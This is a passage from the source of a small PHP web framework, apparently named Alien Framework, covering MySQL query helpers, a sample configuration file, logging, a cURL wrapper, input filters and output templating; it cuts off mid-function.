dbQueryOneStrSeparated( $strQuery, $strColSep = ',', $strRowSep = ',' ) { if ( stripos( $strQuery, "limit " ) === false ) $strQuery .= " limit 0, 500"; $str = ''; $result = dbQuery( $strQuery ); if ( $result ) { while ( $row = mysqli_fetch_row( $result ) ) { $str .= ( $str ? $strRowSep : '' ) . implode( $strColSep, $row ); } dbFreeResult( $result ); } return $str; } /** * Execute SQL query and return result in a simple array * @param string $strQuery * @return array All found rows, but only the first column. */ function dbQueryAllOneColumn( $strQuery ) { if ( stripos( $strQuery, "limit " ) === false ) $strQuery .= " limit 0, 500"; $arr = array(); $result = dbQuery( $strQuery ); if ( $result ) { while ( $row = mysqli_fetch_row( $result ) ) { $arr[] = $row[ 0 ]; } dbFreeResult( $result ); } return $arr; } /** * Execute SQL query and return array * @param string $strQuery * @return array */ function dbQueryAllOneArray( $strQuery ) { if ( stripos( $strQuery, "limit " ) === false ) $strQuery .= " limit 0, 500"; $arr = array(); $result = dbQuery( $strQuery ); if ( $result ) { while ( $row = mysqli_fetch_row( $result ) ) { $arr[] = $row; } dbFreeResult( $result ); } return $arr; } function dbQueryCaller() { foreach ( debug_backtrace( false ) as $arr ) { $strFile = $arr[ 'file' ]; if ( $strFile != __FILE__ && ! strpos( $strFile, AlienDB::$_strGeneratedDbClassesPath ) ) { $strBasename = basename( $strFile ); $strMethod = ( empty( $arr[ 'class' ] ) ? '' : $arr[ 'class' ] . $arr[ 'type' ] ) . ( empty( $arr[ 'function' ] ) ? '' : $arr[ 'function' ] ); return array( $strMethod, $arr[ 'line' ], $strBasename, "$strBasename#" . $arr[ 'line' ] . "" ); } } return array( '', '', '', '' ); } /** * Clear result and calc time since query execution * * @param mysqli_result $result */ function dbFreeResult( $result ) { if ( ! $result ) return; mysqli_free_result( $result ); $strSeconds = sprintf( "%.4f", ( microtime( true ) - AlienDB::$_dbTimeQueryEnd ) ); Log::info( "db result loaded in $strSeconds sec" ); } function dbErrno( $myLinkId = null ) { return mysqli_errno( $myLinkId ? $myLinkId : AlienDB::$_linkId ); } function dbError( $myLinkId = null ) { return mysqli_error( $myLinkId ? $myLinkId : AlienDB::$_linkId ); } /** * @param mysqli_result $result * @param int $result_type * @return array */ function dbFetchArray( $result, $result_type = MYSQLI_BOTH ) { return mysqli_fetch_array( $result, $result_type ); } /** * @param mysqli_result $result * @return array */ function dbFetchRow( $result ) { return mysqli_fetch_row( $result ); } /** * @param mysqli_result $result * @return array */ function dbFetchAssoc( $result ) { return mysqli_fetch_assoc( $result ); } /** * @param mysqli_result $result * @return int */ function dbNumFields( $result ) { return mysqli_num_fields( $result ); } /** * @param mysqli_result $result * @return int */ function dbNumRows( $result ) { return mysqli_num_rows( $result ); } /** * @param mysqli_result $result * @param int $row_number * @return bool */ function dbDataSeek( $result, $row_number ) { return mysqli_data_seek( $result, $row_number ); } /** * @param mysqli $myLinkId * @return bool */ function dbClose( $myLinkId = null ) { return mysqli_close( $myLinkId ); } } <file_sep>/README.md # 👽 Alien Framework for PHP The framework (that is where are you now): Please see https://github.com/alieneby/alien-framework-code The examples: Please see https://github.com/alieneby/alien-framework-examples <file_sep>/config-sample.php <?php class Config { /** * (Mandatory) Location of the alien-framework-code folder. Could be relative to this folder or absolute path. * @var string $_strAlien */ static $_strAlien = '../alien-framework-code'; // where is the alienframework? /** * (Mandatory) Log information into log file / db table * @var boolean $_fDebug */ static $_fDebug = true; /** * If Log::error() was called, then save debug log in database / file debug.log * @var boolean */ static $_fDebugOnError = true; /** * (Optional) Where to store the debugging data. * @var string $_strDebugLog */ static $_strDebugLog = 'logs/debug.log'; /** * (Optional) print system errors into the output stream * @see Log::systemError() * @var boolean $_fSytemErrorDirectOutput */ static $_fSytemErrorDirectOutput = true; /** * (Optional) print all log strings to immediately the output stream. * @see Log::info() * @see Log::error() * @see Log::always() * @var boolean $_fSytemErrorDirectOutput */ static $_fLogDirectOutput = false; // print all log into the output stream // ============================ DATABASE Mysql / MariaDB ================================================= /** * (Optional) Database name * @var string $_DB_DB */ static $_DB_DB = 'myDatabaseName'; /** * (Optional) Database server name or IP * @var string $_DB_DB */ static $_DB_HOST = 'localhost'; /** * (Optional) Mysql- /MariaDB-Port * @var integer $_DB_PORT */ static $_DB_PORT = '14000'; /** * (Optional) Login name * @var string $_DB_USER */ static $_DB_USER = 'tom'; /** * (Optional) Login name * @var string $_DB_USER */ static $_DB_PWD = '<PASSWORD>'; /** * (Optional) Tablename prefix * @var string $_DB_PREFIX */ static $_DB_PREFIX = 'alien_'; /** * (Optional) Path to the folder, where we want to put the generated classes into, which accesses the database. * @var string $_strGeneratedDbClassesPath */ static $_strGeneratedDbClassesPath = './db-generated-classes'; // classes generated by the table defenitions /** * (Optional) Save log data into the database table with that name. * @var string $_DB_DEBUG_TABLE */ static $_DB_DEBUG_TABLE = 'debug_log'; /** * (Optional) Connect the database with programm start? * If not, then you can connect the database with function dbConnector() (requires DbFunctions.php) * @var boolean $_DB_CONNECT_AUTOMATICLY */ static $_DB_CONNECT_AUTOMATICLY = true; // true: datebase is connected during program start // ============================ MEMBER VARIABLES, WHICH WILL BE SET AUTOMATICLY in init() ==================== /** * (Mandatory) Are we in a production system? * Init() recognizes, if we are in a production system and sets this false, * @see Config::init() * @var boolean $_fIsProduction */ static $_fIsProduction; /** * (Mandatory) Path to to this folder. * This value will be set in init(). * @see Config::init() * @var string $_strAbsPath */ static $_strAbsPath; // WILL BE SET IN init()!! /** * (Mandatory) Hostname * This value will be set in init(). * @see Config::init() * @var string $_strServerName */ static $_strServerName; // WILL BE SET IN init()!! // ============================ init() method =============================================================== /** * This method identifies the System we are running on (production or not) * AND sets Config member variables * AND changes the actual working path to the folder this Config.php is located in * AND sets the PHP INCLUDE_PATH to * alien-framework-code * + db-generated-classes * + realpath of this Config.php */ static function init() { self::$_strAbsPath = dirname( __FILE__ ); Config::$_strAbsPath = realpath( dirname( __FILE__ ) ); Config::$_strServerName = empty( $_SERVER['SERVER_NAME'] ) ? '' : $_SERVER['SERVER_NAME']; Config::yourInit(); // are we on a local test system, then use different values. $strAlienFramework = ( substr( Config::$_strAlien, 0, 1 ) == '/' || substr( Config::$_strAlien, 1, 2 ) == ':/' ) ? Config::$_strAlien : realpath( Config::$_strAbsPath . '/' . Config::$_strAlien ); $strGeneratedDbClasses = ''; if ( ! empty( Config::$_strGeneratedDbClassesPath ) ) { $strGeneratedDbClasses = ( substr( Config::$_strGeneratedDbClassesPath, 0, 1 ) == '/' || substr( Config::$_strGeneratedDbClassesPath, 1, 2 ) == ':/' ) ? Config::$_strGeneratedDbClassesPath : realpath( Config::$_strAbsPath . '/' . Config::$_strGeneratedDbClassesPath ); } set_include_path( $strAlienFramework . PATH_SEPARATOR . $strGeneratedDbClasses . PATH_SEPARATOR . Config::$_strAbsPath ); chdir( Config::$_strAbsPath ); } /** * ADD YOUR STUFF HERE! * Identify the system (Production, Test) * and set the therefor the correct configuration values. */ static function yourInit() { if ( ! is_dir( '/var/log' ) ) { Config::$_fIsProduction = false; Config::$_strDebugLog = '../logs/xample01-log-01-file.log'; } } } Config::init(); <file_sep>/SystemFunctions.php <?php class SystemFunctions { /** * What method has executed your method? * @param array $arrBacktrace * @return array of 3 strings: method, line number, file name */ static function getCaller( $arrBacktrace ) { //print_r( $arrBacktrace ); if ( count( $arrBacktrace ) != 2 ) { if ( count( $arrBacktrace ) == 1 ) { $strLine = empty( $arrBacktrace[ 0 ][ 'line' ] ) ? '' : $arrBacktrace[ 0 ][ 'line' ]; $strFile = empty( $arrBacktrace[ 0 ][ 'file' ] ) ? '' : basename( $arrBacktrace[ 0 ][ 'file' ] ); return array( '', $strLine, $strFile ); } return array( __METHOD__, __LINE__, __FILE__ ); } $strLine = empty( $arrBacktrace[ 0 ][ 'line' ] ) ? '' : $arrBacktrace[ 0 ][ 'line' ]; $strFile = empty( $arrBacktrace[ 1 ][ 'file' ] ) ? '' : basename( $arrBacktrace[ 1 ][ 'file' ] ); $strFunction = empty( $arrBacktrace[ 1 ][ 'function' ] ) ? '' : basename( $arrBacktrace[ 1 ][ 'function' ] ); $strMethod = $strFunction; if ( ! empty( $arrBacktrace[ 1 ][ 'class' ] ) ) { $strMethod = $arrBacktrace[ 1 ][ 'class' ] . ( empty( $arrBacktrace[ 1 ][ 'type' ] ) ? '.' : $arrBacktrace[ 1 ][ 'type' ] ) . $strFunction; } return array( $strMethod, $strLine, $strFile ); } } <file_sep>/generateDbClasses.php <?php require_once( 'Config.php' ); require_once( 'Alien.php' ); include_once( 'DbCodeGenerator.php' ); if ( empty( Config::$_strGeneratedDbClassesPath ) ) { $strErr = 'Please set Config::$_strGeneratedDbClassesPath!'; echo "$strErr\n"; 👽::🖖( $strErr ); } if ( empty( AlienDB::$_linkId ) ) { dbConnector(); } if ( ! is_dir( Config::$_strGeneratedDbClassesPath ) ) { if ( ! mkdir( Config::$_strGeneratedDbClassesPath ) ) { $strErr = "Can not create directory " . Config::$_strGeneratedDbClassesPath; echo "$strErr\n"; 👽::🖖( $strErr ); } } $a = new DbCodeGenerator( Config::$_strGeneratedDbClassesPath ); 👽::🖖( 'Done' ); <file_sep>/DbGenUtils.php <?php class DbGenUtils { public static $_strAlphaNumeric = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'; public static $_strNumber = '-.1234567890'; public static $_strEmail = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-._+@'; static function filterQuotesAndBrackets( $str ) { return str_replace( $arrDummy1 = array( '"', "'", '<', '>' ), '', $str ); } static function only( $strAllowedChars, $str ) { $strReturn = ""; $l = strlen( $str ); for ( $i = 0; $i < $l; $i++ ) { $c = substr( $str, $i, 1 ); if ( strpos( $strAllowedChars, $c ) !== false ) $strReturn .= $c; } return $strReturn; } static function isOnly( $strAllowedChars, $str ) { $l = strlen( $str ); for ( $i = 0; $i < $l; $i++ ) { $c = substr( $str, $i, 1 ); if ( strpos( $strAllowedChars, $c ) === false ) return false; } return true; } /** * Example: onlyInt('223,023,,123,00,0,Haus,2K,-2,1.3,-', ',') => 223,23,123,0,0,-2 * @param string $str * @param string $strSeparator * @return string */ static function onlyInt( $str, $strSeparator = '' ) { if ( ! $strSeparator || strpos( $str, $strSeparator ) === false ) { return ( ( (string) ( (int) $str ) ) == ( (string) $str ) ) ? (int) $str : ''; } $strReturn = ''; foreach ( $arr = explode( $strSeparator, $str ) as $strSub ) { $strSub = self::onlyInt( $strSub ); if ( $strSub !== '' ) $strReturn .= ( $strReturn ? $strSeparator : '' ) . $strSub; } return $strReturn; } static function isInt( $str, $strSeparator = '' ) { return ( $str && self::onlyInt( $str, $strSeparator ) ); } static function isEmail( &$str ) { $nPos1 = strpos( $str, '<' ); if ( $nPos1 !== false ) { $nPos2 = strpos( $str, '>', $nPos1 ); if ( $nPos2 ) { $str = substr( $str, $nPos1 + 1, $nPos2 - $nPos1 - 1 ); } } if ( filter_var( str_replace( '+', '', $str ), FILTER_VALIDATE_EMAIL ) ) return true; else return false; } static function onlyEmail( $str ) { $nP1 = strpos( $str, '<' ); $nP2 = strpos( $str, '>' ); if ( $nP1 && $nP1 < $nP2 ) $str = substr( $str, $nP1, $nP2 - $nP1 ); return self::only( self::$_strEmail, $str ); } static function onlyNumber( $str, $strAdditionals = "" ) { return self::only( self::$_strNumber . $strAdditionals, $str ); } static function onlyAlphaNumeric( $str, $strAdditionals = "" ) { return self::only( self::$_strAlphaNumeric . $strAdditionals, $str ); } static function isAlphaNumeric( $str, $strAdditionals = "" ) { return self::isOnly( self::$_strAlphaNumeric . $strAdditionals, $str ); } static function isNumber( $str, $strAdditionals = "" ) { return self::isOnly( self::$_strNumber . $strAdditionals, $str ); } static function isFloat( $str ) { return self::isOnly( self::$_strNumber . ".", $str ); } } <file_sep>/Internet.php <?php class Internet { /** * Send a http(s) request * @param $strUrl * @param string $strRawBody (optional) * @param array $arrHeaders (optional) * @param int $nConnectTimeout (optional) * @param int $nTimeout (optional) * @return array ( $strResponseHttpCode, $strResponseBody, $arrResponseHeaders, $strResponseHeaderHttp, $strErrMsg ) */ static function curl( $strUrl, $strRawBody = '', $arrHeaders = null, $nConnectTimeout = 2, $nTimeout = 10 ) { $strResponseBody = $strErrMsg = $strResponseHttpCode = $strResponseHeaderHttp = ''; $arrResponseHeaders = array(); $ch = curl_init( $strUrl ); if ( $arrHeaders ) curl_setopt( $ch, CURLOPT_HTTPHEADER, $arrHeaders ); if ( $strRawBody ) curl_setopt( $ch, CURLOPT_POSTFIELDS, $strRawBody ); curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $nConnectTimeout ); curl_setopt( $ch, CURLOPT_TIMEOUT, $nTimeout ); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true ); curl_setopt( $ch, CURLOPT_HEADER, 1 ); $strResponse = curl_exec( $ch ); $strResponseHttpCode = curl_getinfo( $ch, CURLINFO_HTTP_CODE ); if ( $strResponse ) { $nHeaderSize = curl_getinfo( $ch, CURLINFO_HEADER_SIZE ); $strResponseHeader = trim( substr( $strResponse, 0, $nHeaderSize ) ); $strResponseBody = substr( $strResponse, $nHeaderSize ); $arrResponseHeaders = explode( "\n", $strResponseHeader ); foreach ( $arrResponseHeaders as $strLine ) { if ( stripos( $strLine, 'HTTP' ) === 0 ) { $strResponseHeaderHttp = $strLine; break; } } } if ( $errno = curl_errno( $ch ) ) { $strErrMsg = "CURL ERR $errno: " . curl_strerror( $errno ); } elseif ( ! $strResponse ) { $strErrMsg = 'NO DATA'; } curl_close( $ch ); return array( $strResponseHttpCode, $strResponseBody, $arrResponseHeaders, $strResponseHeaderHttp, $strErrMsg ); } } <file_sep>/Log.php <?php class Log { static $_strScript = 'PHP'; static $_strStartDate; static $_strStartTimestamp; static $_strLastLogMessage = ''; static $_strFirstErrMsg = ''; static $_nErrors = 0; static $_nSystemErrors = 0; static $_fDirectLog = 0; static $_nPid; static $arrLN = array( 'i' => 'Info: ', 'e' => 'Error: ', 'a' => 'Always:', 's' => 'SystemErr:' ); public static $_arr = array(); static function init() { self::$_strStartTimestamp = microtime( true ); self::$_strStartDate = gmdate( 'Y-m-d H:i:s' ); self::$_nPid = ( getmypid() % 1000 ); } /** * @param $strLevel string a=always, i=info, e=error, s=systemerror * @param $val mixed Message to log (string, array, obj) * @param $strMethod string Caller * @param $nLine string Caller JSON_PARTIAL_OUTPUT_ON_ERROR * @param $strFile string Caller JSON_PARTIAL_OUTPUT_ON_ERROR */ private static function add( $strLevel, $val, $strMethod, $nLine, $strFile ) { if ( is_bool( $val ) ) { $str = $val ? 'true' : 'false'; } elseif ( is_array( $val ) || is_object( $val ) ) { // JSON_PARTIAL_OUTPUT_ON_ERROR = 512 // JSON_PRETTY_PRINT = 128 $str = json_encode( $val, 512 | 128 ); } else { $str = $val; } $strDuration = sprintf( "%.4f", ( microtime( true ) - Log::$_strStartTimestamp ) ); if ( ! empty( Config::$_fLogDirectOutput ) ) { echo "\n<br />\n$strFile#$nLine $strMethod(): $str\n<br />\n"; } $arr = array( 'l' => $strLevel, 'd' => $strDuration, 'f' => basename( $strFile ), 'm' => $strMethod, 'n' => $nLine, 't' => $str ); if ( Log::$_fDirectLog ) { $nLine = Log::toLogLineSingle( $arr ) . "\n"; @file_put_contents( Config::$_strDebugLog, $nLine, FILE_APPEND ); } else { self::$_arr[] = $arr; } } private static function getMethodLineFile( $strMethod, $nLine, $strFile) { if ( $strMethod && is_string( $strMethod ) && $nLine && is_numeric( $nLine ) && $strFile && is_string( $strFile ) && strpos($strFile, '.php') ) { return array( $strMethod, $nLine, $strFile ); } return SystemFunctions::getCaller( debug_backtrace( 0, 2 ) ); } public static function info( $val, $strMethod = '', $nLine = '', $strFile = '' ) { if ( empty( Config::$_fDebug ) ) return true; list( $strMethod, $nLine, $strFile ) = self::getMethodLineFile( $strMethod, $nLine, $strFile ); self::add( 'i', $val, $strMethod, $nLine, $strFile ); return true; } public static function always( $val = '', $strMethod = '', $nLine = '', $strFile = '' ) { list( $strMethod, $nLine, $strFile ) = self::getMethodLineFile( $strMethod, $nLine, $strFile ); self::add( 'a', $val, $strMethod, $nLine, $strFile ); return true; } public static function error( $val, $strMethod = '', $nLine = '', $strFile = '' ) { self::$_nErrors = self::$_nErrors + 1; list( $strMethod, $nLine, $strFile ) = self::getMethodLineFile( $strMethod, $nLine, $strFile ); self::add( 'e', $val, $strMethod, $nLine, $strFile ); return false; } public static function systemError( $val, $strMethod = '', $nLine = '', $strFile = '' ) { self::$_nSystemErrors = self::$_nSystemErrors + 1; list( $strMethod, $nLine, $strFile ) = self::getMethodLineFile( $strMethod, $nLine, $strFile ); $str = ( is_array( $val ) || is_object( $val ) ) ? print_r( $val, true ) : $val; error_log( "$strFile#$nLine $strMethod(): " . addslashes( $str ) ); if ( ! empty( Config::$_fSytemErrorDirectOutput ) ) { echo "\n<br />\n$strFile#$nLine $strMethod(): $str\n<br />\n"; } self::add( 's', $val, $strMethod, $nLine, $strFile ); return false; } public static function filter( $strLevels ) { $arr = array(); foreach ( self::$_arr as $strK => $arrE ) { if ( stripos( $strLevels, $arrE[ 'l' ] ) !== false ) { $arr[ $strK ] = $arrE; } } return $arr; } /** * Generate log strings. * EG. * Log::toLogLines(); * or eg. only errors and system errors: * Log::toLogLines( Log::filter('es') ); * @param $arr array (Optional) Same format as Log::$_arr. You can use Log::filter( "e" ). * @return array of strings - the log lings */ public static function toLogLines( $arr = null ) { if ( $arr === null ) { $arr = self::$_arr; } $arrReturn = array(); foreach ( $arr as $strK => $arrE ) { $arrReturn[] = Log::toLogLineSingle( $arrE ); } return $arrReturn; } private static function toLogLineSingle( $arrE ) { return $arrE[ 'd' ] . ' ' . $arrE[ 'f' ] . ' ' . ( $arrE[ 'm' ] ? $arrE[ 'm' ] . '()' : '-' ) . ' #' . $arrE[ 'n' ] . ' ' . self::$arrLN[ $arrE[ 'l' ] ] . ' ' . $arrE[ 't' ]; } /** * @param $arr array (Optional) Same format as Log::$_arr. You can use Log::filter( "es" ) to get error array * @return string Complete debug log as plain text with "\n" return charaters */ public static function toString( $arr = null ) { return implode( "\n", Log::toLogLines( $arr ) ) . "\n"; } /** * Return an unsorted list <ul><li>...</li></ul> * @param $arr array (Optional) Same format as Log::$_arr. You can use Log::filter( "es" ) to get error array * @return string Complete debug log as html with "<br />\n" */ public static function toHtml( $arr = null ) { $strReturn = "<ul>\n"; foreach ( Log::toLogLines( $arr ) as $str ) { $strReturn .= '<li>' . htmlentities( $str ) . "</li>\n"; } return $strReturn . "</ul>\n"; } /** * Return the errors as an unsorted list <ul><li>...</li></ul> * @return string Error log as html with "<br />\n" or "" */ public static function errorsToHtml() { $arr = Log::filter( 'es' ); // error and system-errors if ( ! count( $arr ) ) return ''; $strReturn = "<ul>\n"; foreach ( Log::toLogLines( $arr ) as $str ) { $strReturn .= '<li>' . htmlentities( $str ) . "</li>\n"; } return $strReturn . "</ul>\n"; } /** * Save log to file */ public static function toLogFile() { if ( empty( Config::$_strDebugLog ) ) { return Log::info( 'Not set Config::$_strDebugLog. So no debug log files' ); } $strUri = isset( $_SERVER[ 'REQUEST_URI' ] ) ? $_SERVER[ 'REQUEST_URI' ] : 'shell'; $arrErr = Log::filter( 'es' ); // errors and system errors $str = "\n\n----------------- START " . ' at ' . gmdate( 'Y-m-d H:i:s' ) . " ----------------------\n"; $str .= implode( "\n", Log::toLogLines( Log::$_arr ) ); if ( count( $arrErr ) ) { $str .= "\n------------------------------------------\n" . implode( "\n", Log::toLogLines( $arrErr ) ); } $str .= "\n==========================================\n" . "Prog.: " . Log::$_strScript . " \n" . "GMT: " . Log::$_strStartDate . "\n" . "Total time: " . sprintf( "%.4f", ( microtime( true ) - Log::$_strStartTimestamp ) ) . " sec\n" . "URL: " . $strUri . "\n" . "Errors: " . count( $arrErr ) . "\n" . "ProcessID: " . Log::$_nPid . "\n" . "Result Msg: " . Log::$_strLastLogMessage . "\n" . "==========================================\n\n"; if ( @file_put_contents( Config::$_strDebugLog, $str, FILE_APPEND ) ) { return true; } else { return Log::systemError( Config::$_strDebugLog . ' is not writeable!' ); } } /** * Save log to file */ public static function toDatabase() { if ( empty( Config::$_DB_DEBUG_TABLE ) ) { return Log::info( 'Not set Config::$_DB_DEBUG_TABLE. So no debugging into database' ); } if ( empty( AlienDB::$_linkId ) ) { return Log::systemError( 'No database connection. Check Config for DB settings!' ); } $strUri = isset( $_SERVER[ 'REQUEST_URI' ] ) ? $_SERVER[ 'REQUEST_URI' ] : 'shell'; $strTotalTime = sprintf( "%.4f", ( microtime( true ) - Log::$_strStartTimestamp ) ); $strStats = "Prog.: " . Log::$_strScript . " \n" . "GMT: " . Log::$_strStartDate . "\n" . "Total time: " . $strTotalTime . " sec\n" . "URL: " . $strUri . "\n" . "Errors: " . self::$_nErrors . "\n" . "SystemErr: " . self::$_nSystemErrors . "\n" . "ProcessID: " . Log::$_nPid . "\n" . "Result Msg: " . Log::$_strLastLogMessage . "\n"; if ( self::$_nErrors ) { $arrErr = Log::filter( 'es' ); // errors and system errors $strErr = implode( "\n", Log::toLogLines( $arrErr ) ); } else { $strErr = ''; } $strDebgugTrace = implode( "\n", Log::toLogLines( Log::$_arr ) ); $strSql = "INSERT INTO `" . Config::$_DB_PREFIX . Config::$_DB_DEBUG_TABLE . "` " . "(`gmt`, `seconds`, `script`, `last_log_msg`, `errors`, `system_errors`, `log_trace`, `stats`, `error_msg`) VALUES (" . "'" . dbEscStr( Log::$_strStartDate ) . "', '" . $strTotalTime . "', '" . dbEscStr( Log::$_strScript ) . "', '" . dbEscStr( Log::$_strLastLogMessage ) . "', '" . ( 0 + self::$_nErrors ) . "', '" . ( 0 + self::$_nSystemErrors ) . "', '" . dbEscStr( $strDebgugTrace ) . "', " . ( $strStats ? "'" . dbEscStr( $strStats ) . "'" : "null" ) . ", " . ( $strErr ? "'" . dbEscStr( $strErr ) . "'" : "null" ) . ")"; dbQuery( $strSql ); if ( AlienDB::$_strDbErrMsg ) { Log::always( AlienDB::$_strDbErrMsg ); if ( stripos( AlienDB::$_strDbErrMsg, 'table' ) ) { self::createTable(); dbQuery( $strSql ); } } return AlienDB::$_strDbErrMsg ? false : true; } private static function createTable() { Log::info( 'started' ); dbQuery( "CREATE TABLE IF NOT EXISTS `" . Config::$_DB_PREFIX . Config::$_DB_DEBUG_TABLE . "` ( `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, `gmt` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP, `seconds` float UNSIGNED NOT NULL DEFAULT '0', `script` varchar(30) NOT NULL DEFAULT '', `last_log_msg` varchar(256) NOT NULL, `errors` int(11) UNSIGNED NOT NULL DEFAULT '0', `system_errors` int(11) UNSIGNED NOT NULL DEFAULT '0', `log_trace` text, `stats` text, `error_msg` text, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8" ); } } Log::init();<file_sep>/Out.php <?php require_once( 'OutMask.php' ); class Out { /** * List of template names. The order is important. * @var array of strings (filenames) */ static $_arrMasks = array(); /** * Container for values, which the application wants to display. * @var string[] array of strings */ static $_arrVars = array(); static $_arrIntern = array(); /** * * @param String $strMasterMask mask name */ static function addMask( $strMasterMask ) { $m = new OutMask(); $m->strMask = $strMasterMask; array_push( self::$_arrMasks, $m ); } static function getMask( $strMask ) { return empty( self::$_arrMasks[ $strMask ] ) ? null : self::$_arrMasks[ $strMask ]; } static function addVar( $strK, $strV ) { self::$_arrVars[ $strK ] = $strV; } /** * @param string $strK * @return string */ static function getVar( $strK ) { return isset( self::$_arrVars[ $strK ] ) ? self::$_arrVars[ $strK ] : ''; } private static function displayMask( OutMask $mask ) { $nTime = microtime( true ); $sOut = ""; if ( is_file( $t = Config::$_strAbsPath . "/output/default/" . $mask->strMask ) ) $sOut = $t; if ( $sOut ) { self::$_arrIntern[ 'activeMask' ] = $sOut; include $sOut; unset( self::$_arrIntern[ 'activeMask' ] ); Log::always( "Out.display()", $sOut . ' in ' . round( ( microtime( true ) - $nTime ) * 1000, 2 ) . "ms" ); } else { Log::systemError( $mask->strMask ); } } static function display() { foreach ( self::$_arrMasks as $mask ) self::displayMask( $mask ); } static public function displayAsString() { ob_start(); Out::display(); $strHtml = ob_get_contents(); ob_end_clean(); return $strHtml; } } <file_sep>/Alien.php <?php if ( ! isset( Config::$_strAlien ) ) { echo "Please include Config.php first!"; exit( 500 ); } require_once( Config::$_strAlien . '/SystemFunctions.php' ); require_once( Config::$_strAlien . '/Log.php' ); if ( ! empty( Config::$_DB_DB ) ) { require_once( Config::$_strAlien . '/DbFunctions.php' ); } class 👽 { static function init() { error_reporting( E_ALL ); //self::initErrorHandler(); if ( ! empty( Config::$_DB_DB ) ) { if ( ! isset( Config::$_DB_CONNECT_AUTOMATICLY ) || Config::$_DB_CONNECT_AUTOMATICLY ) { dbConnector(); } } if ( ! empty( $_SERVER[ 'REQUEST_METHOD' ] ) && $_SERVER[ 'REQUEST_METHOD' ] === 'OPTIONS' ) { header( "HTTP/1.1 200 OK" ); self::exitNowWithoutExtraHeaderAndBody( 'REQUEST_METHOD: OPTION!' ); } } static function 🖖() { return call_user_func_array( "👽::exitNow", func_get_args() ); } /** * @param string $strLastLogMessage */ static function exitNowWithoutExtraHeaderAndBody( $strLastLogMessage = '' ) { Log::$_strLastLogMessage = $strLastLogMessage; $fLog = true; if ( isset( Config::$_fDebug ) && empty( Config::$_fDebug ) ) { // explicit set fDebug = false? $fLog = false; if ( ! empty( Config::$_fDebugOnError ) && ! empty( Log::$_nErrors ) ) { // if Config::$_fDebug == false and Config::$_fDebugOnError = 1 and Errors $fLog = true; } } if ( ! empty( Config::$_strDebugLog ) ) { if ( $fLog ) Log::toLogFile(); } if ( ! empty( Config::$_DB_DEBUG_TABLE ) ) { if ( $fLog ) Log::toDatabase(); } exit(); } /** * @param string $strLastLogMessage * @param int $nHttpErrCode * @param string $strOutput */ static function exitNow( $strLastLogMessage = '', $nHttpErrCode = 0, $strOutput = "" ) { if ( $nHttpErrCode ) { if ( $nHttpErrCode >= 200 && $nHttpErrCode < 300 ) { header( "HTTP/1.0 $nHttpErrCode" ); } else { // Log::error( $strLastLogMessage, $strMethod, $strLine, $strFile ); header( "HTTP/1.0 $nHttpErrCode $strLastLogMessage" ); } } if ( $strOutput ) echo $strOutput; self::exitNowWithoutExtraHeaderAndBody( $strLastLogMessage ); } /** * All php errors and warnings will be logged. */ static function initErrorHandler() { error_reporting( E_ALL ); set_error_handler( "👽::theErrorHandler" ); } /** * Do not call this function directly! * @param $errfile * @param $errline * @param $errno * @param $errstr * @see self::initErrorHandler() */ static function theErrorHandler( $errno, $errstr, $errfile, $errline ) { switch ( $errno ) { case E_USER_ERROR: Log::error( "E_USER_ERROR: $errstr", $errfile, $errline ); break; case E_USER_WARNING: Log::error( "E_USER_WARNING: $errstr", $errfile, $errline ); break; case E_WARNING: Log::error( "E_WARNING: $errstr", $errfile, $errline ); break; case E_USER_NOTICE: case E_NOTICE: break; default: Log::error( "default: $errstr", $errfile, $errline ); //print_r($ctx) ; break; } return true; } static function strStringBetween( $strAll, $strSub1, $strSub2, $nStartSrchPos = 0 ) { if ( ! $strSub1 || ! $strSub2 || ! $strAll ) return ''; $nLen = strlen( $strSub1 ); $nPos1 = strpos( $strAll, $strSub1, $nStartSrchPos ); $nPos2 = ( $nPos1 === false ) ? false : strpos( $strAll, $strSub2, ( $nPos1 + $nLen ) ); return $nPos2 ? substr( $strAll, $nPos1 + $nLen, $nPos2 - $nPos1 - $nLen ) : ''; } static function strReplaceBetween( $strAll, $strSub1, $strSub2, $strNew, $nStartSrchPos = 0 ) { if ( ! $strSub1 || ! $strSub2 || ! $strAll ) return $strAll; $nLen = strlen( $strSub1 ); $nPos1 = strpos( $strAll, $strSub1, $nStartSrchPos ); $nPos2 = ( $nPos1 === false ) ? false : strpos( $strAll, $strSub2, ( $nPos1 + $nLen ) ); return $nPos2 ? substr( $strAll, 0, $nPos1 + $nLen ) . $strNew . substr( $strAll, $nPos2 ) : $strAll; } /** * @param int $nType 1:= Y-m-d, 2:= timestamp, 3:= Y-m-d H:i:s, 4:= array(Y,m,d,H,i,s), 5:=DD.MM.YYYY, 6:=MM/DD/YYYY, 7:=5|6DepOnOLanguageCd,8=ISO * @param string $strD YYYYMMDD or YYYYMMDDHHMMSS or YYYY-MM-DD or YYYY-MM-DD HH:MM:SS * @return string|array */ static function strDateTo( $nType, $strD ) { $l = strlen( $strD ); if ( $nType < 1 or $nType > 8 or ( $l != 8 and $l != 14 and $l != 10 and $l != 19 ) ) { Log::error( "invalid params! ($nType, $strD)" ); return $strD; } // if YYYY-MM-DD or YYYY-MM-DD HH:MM:SS? if ( $l == 10 || $l == 19 ) { $strD = substr( $strD, 0, 4 ) . substr( $strD, 5, 2 ) . substr( $strD, 8, 2 ) . ( $l == 19 ? substr( $strD, 11, 2 ) . substr( $strD, 14, 2 ) . substr( $strD, 17, 2 ) : '' ); $l = strlen( $strD ); } // now $strDate is YYYYMMDD or YYYYMMDDHHMMSS if ( $nType == 7 && function_exists( "o" ) ) $nType = ( o( 'languageCd' ) == 'de' ? 5 : 6 ); if ( $nType == 1 ) return substr( $strD, 0, 4 ) . '-' . substr( $strD, 4, 2 ) . '-' . substr( $strD, 6, 2 ); if ( $nType == 2 ) return strtotime( self::strDateTo( 3, $strD ) ); if ( $nType == 8 ) return gmdate( 'Y-m-d\TH:i:s\Z', strtotime( self::strDateTo( 3, $strD ) ) ); if ( $nType == 3 ) return substr( $strD, 0, 4 ) . '-' . substr( $strD, 4, 2 ) . '-' . substr( $strD, 6, 2 ) . ( $l == 8 ? ' 00:00:00' : ' ' . substr( $strD, 8, 2 ) . 